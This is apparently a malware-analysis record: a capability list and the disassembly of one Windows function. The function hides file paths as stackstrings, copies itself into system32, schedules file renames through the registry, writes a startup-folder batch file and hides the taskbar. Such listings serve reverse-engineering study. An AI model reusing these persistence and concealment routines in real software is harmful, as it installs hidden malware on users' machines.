Function at 0x408f60
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create thread
Delete file
Find taskbar
Get common file path
Get startup folder
Hide graphical window
Hide the windows taskbar
Move file
Set registry value
Terminate process
Write file to startup folder

Disassembly:
sub esp, 0x53c
push ebx
push ebp
push esi
push edi
call fcn.004070c0
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0xa8]
xor ebx, ebx
push 0x7f04
push ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0xb0], 2
mov dword [esp + 0xb4], ebx
mov dword [esp + 0xb8], ebx
mov dword [esp + 0xbc], ebx
mov dword [esp + 0xc0], ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f8b
push ebx
mov dword [esp + 0xc4], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [esp + 0xc4], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xc4], eax
lea eax, [esp + 0xa8]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
push ebx
push ebx
lea ecx, [esp + 0xd8]
push ebx
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x240]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x240]
push 0x104
push edx
push ebx
rep stosd dword es:[edi], eax
call esi
lea eax, [esp + 0x240]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x409067
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x409067
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
push str.6gkIBfkSqY
push 0x416904
call fcn.00403890
mov eax, dword [0x414804]
add esp, 8
cmp eax, ebx
jne 0x4095b2
lea ecx, [esp + 0x344]
push 0x104
push ecx
push ebx
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x344]
mov bl, 0x65
push edx
push eax
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x3a
mov byte [esp + 0x1a], 0x5c
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x49
mov byte [esp + 0x1d], 0x4e
mov byte [esp + 0x1e], 0x44
mov byte [esp + 0x1f], 0x4f
mov byte [esp + 0x20], 0x57
mov byte [esp + 0x21], 0x53
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x23], 0x73
mov byte [esp + 0x24], 0x79
mov byte [esp + 0x25], 0x73
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x6d
mov byte [esp + 0x29], 0x33
mov byte [esp + 0x2a], 0x32
mov byte [esp + 0x2b], 0x5c
mov byte [esp + 0x2c], 0x42
mov byte [esp + 0x2d], 0x52
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], 0x6d
mov byte [esp + 0x30], 0x6f
mov byte [esp + 0x31], 0x74
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x73
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x78
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0
call ebp
mov ecx, dword [0x4147f8]
mov eax, 1
cmp ecx, eax
jne 0x4091e6
mov word [0x416a4c], ax
call fcn.004095e0
test eax, eax
je 0x4091b4
lea ecx, [esp + 0x98]
xor eax, eax
push ecx
mov dword [esp + 0x9c], str.Stuvwx_Abcdefgh_Jkl
mov dword [esp + 0xa0], 0x408d40
mov dword [esp + 0xa4], eax
mov dword [esp + 0xa8], eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call esi
call fcn.00407d70
jmp 0x4091db
push str.Stuvwx_Abcdefgh_Jklmnopq_Stuv
push str.Stuvwxya_Cdefghijk_Mnopqrs_Uvwxyabc_Efg
lea edx, [esp + 0x18]
push str.Stuvwx_Abcdefgh_Jkl
push edx
call fcn.00409680
add esp, 0x10
call fcn.004080c0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call esi
call fcn.00407d70
jmp 0x4091db
cmp dword [0x4147fc], eax
jne 0x409557
lea eax, [esp + 0x448]
push 0x104
push eax
push 0
mov word [0x416a4c], 2
call esi
push 0
lea ecx, [esp + 0x140]
push 0x18
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x1a
call fcn.004080a0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004080a0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004080a0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004080a0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004080a0
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.004080a0
add esp, 4
add eax, 0x61
lea edx, [esp + 0x100]
push eax
push str._c_c_c_c_c_c.bat
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, 0x414dd4
or ecx, 0xffffffff
xor eax, eax
add esp, 0x20
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x13c]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x13c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xec]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x13c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x44c]
push ecx
call ebp
mov al, 0x3f
mov cl, 0x72
mov byte [esp + 0x35], al
mov byte [esp + 0x36], al
mov al, 0x6e
mov dl, 0x6c
mov dword [esp + 0x94], 0
mov byte [esp + 0x34], 0x5c
mov byte [esp + 0x37], 0x5c
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], 0x3a
mov byte [esp + 0x3a], 0x5c
mov byte [esp + 0x3b], 0x57
mov byte [esp + 0x3c], 0x49
mov byte [esp + 0x3d], 0x4e
mov byte [esp + 0x3e], 0x44
mov byte [esp + 0x3f], 0x4f
mov byte [esp + 0x40], 0x57
mov byte [esp + 0x41], 0x53
mov byte [esp + 0x42], 0x5c
mov byte [esp + 0x43], 0x73
mov byte [esp + 0x44], 0x79
mov byte [esp + 0x45], 0x73
mov byte [esp + 0x46], 0x74
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x6d
mov byte [esp + 0x49], 0x33
mov byte [esp + 0x4a], 0x32
mov byte [esp + 0x4b], 0x5c
mov byte [esp + 0x4c], 0x42
mov byte [esp + 0x4d], 0x52
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], 0x6d
mov byte [esp + 0x50], 0x6f
mov byte [esp + 0x51], 0x74
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], 0x73
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], bl
mov byte [esp + 0x56], 0x78
mov byte [esp + 0x57], bl
mov byte [esp + 0x58], 0
mov byte [esp + 0x5c], 0x53
mov byte [esp + 0x5d], 0x59
mov byte [esp + 0x5e], 0x53
mov byte [esp + 0x5f], 0x54
mov byte [esp + 0x60], 0x45
mov byte [esp + 0x61], 0x4d
mov byte [esp + 0x62], 0x5c
mov byte [esp + 0x63], 0x43
mov byte [esp + 0x64], 0x75
mov byte [esp + 0x65], cl
mov byte [esp + 0x66], cl
mov byte [esp + 0x67], bl
mov byte [esp + 0x68], al
mov byte [esp + 0x69], 0x74
mov byte [esp + 0x6a], 0x43
mov byte [esp + 0x6b], 0x6f
mov byte [esp + 0x6c], al
mov byte [esp + 0x6d], 0x74
mov byte [esp + 0x6e], cl
mov byte [esp + 0x6f], 0x6f
mov byte [esp + 0x70], dl
mov byte [esp + 0x71], 0x53
mov byte [esp + 0x72], bl
mov byte [esp + 0x73], 0x74
mov byte [esp + 0x74], 0x5c
mov byte [esp + 0x75], 0x43
mov byte [esp + 0x76], 0x6f
mov byte [esp + 0x77], al
mov byte [esp + 0x78], 0x74
mov byte [esp + 0x79], cl
mov byte [esp + 0x7a], 0x6f
mov byte [esp + 0x7b], dl
mov byte [esp + 0x83], al
mov byte [esp + 0x87], al
lea edx, [esp + 0x94]
lea eax, [esp + 0x90]
push edx
push eax
push 0
push 0x20006
mov byte [esp + 0x9b], cl
push 0
push 0
lea ecx, [esp + 0x74]
push 0
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0xa0], 0x5c
mov byte [esp + 0xa1], 0x53
mov byte [esp + 0xa2], bl
mov byte [esp + 0xa3], 0x73
mov byte [esp + 0xa4], 0x73
mov byte [esp + 0xa5], 0x69
mov byte [esp + 0xa6], 0x6f
mov byte [esp + 0xa8], 0x20
mov byte [esp + 0xa9], 0x4d
mov byte [esp + 0xaa], 0x61
mov byte [esp + 0xac], 0x61
mov byte [esp + 0xad], 0x67
mov byte [esp + 0xae], bl
mov byte [esp + 0xb0], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea edx, [esp + 0x34]
push 0x25
mov eax, dword [esp + 0x94]
push edx
push 7
push 0
push str.PendingFileRenameOperations
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x90]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 4
lea edx, [esp + 0x140]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call esi
call fcn.00407d70
jmp 0x40954c
cmp dword [0x414800], eax
jne 0x4095ca
mov word [0x416a4c], 3
call fcn.00408b30
push 0
push 0
push 0
push 0x408ca0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
mov esi, eax
push 0
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call ebx
push 5
push esi
call edi
call fcn.00407d70
jmp 0x4095a2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov word [0x416a4c], bx
push 0x32
call esi
call fcn.00407d70
jmp 0x4095bf
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x53c
ret 0x10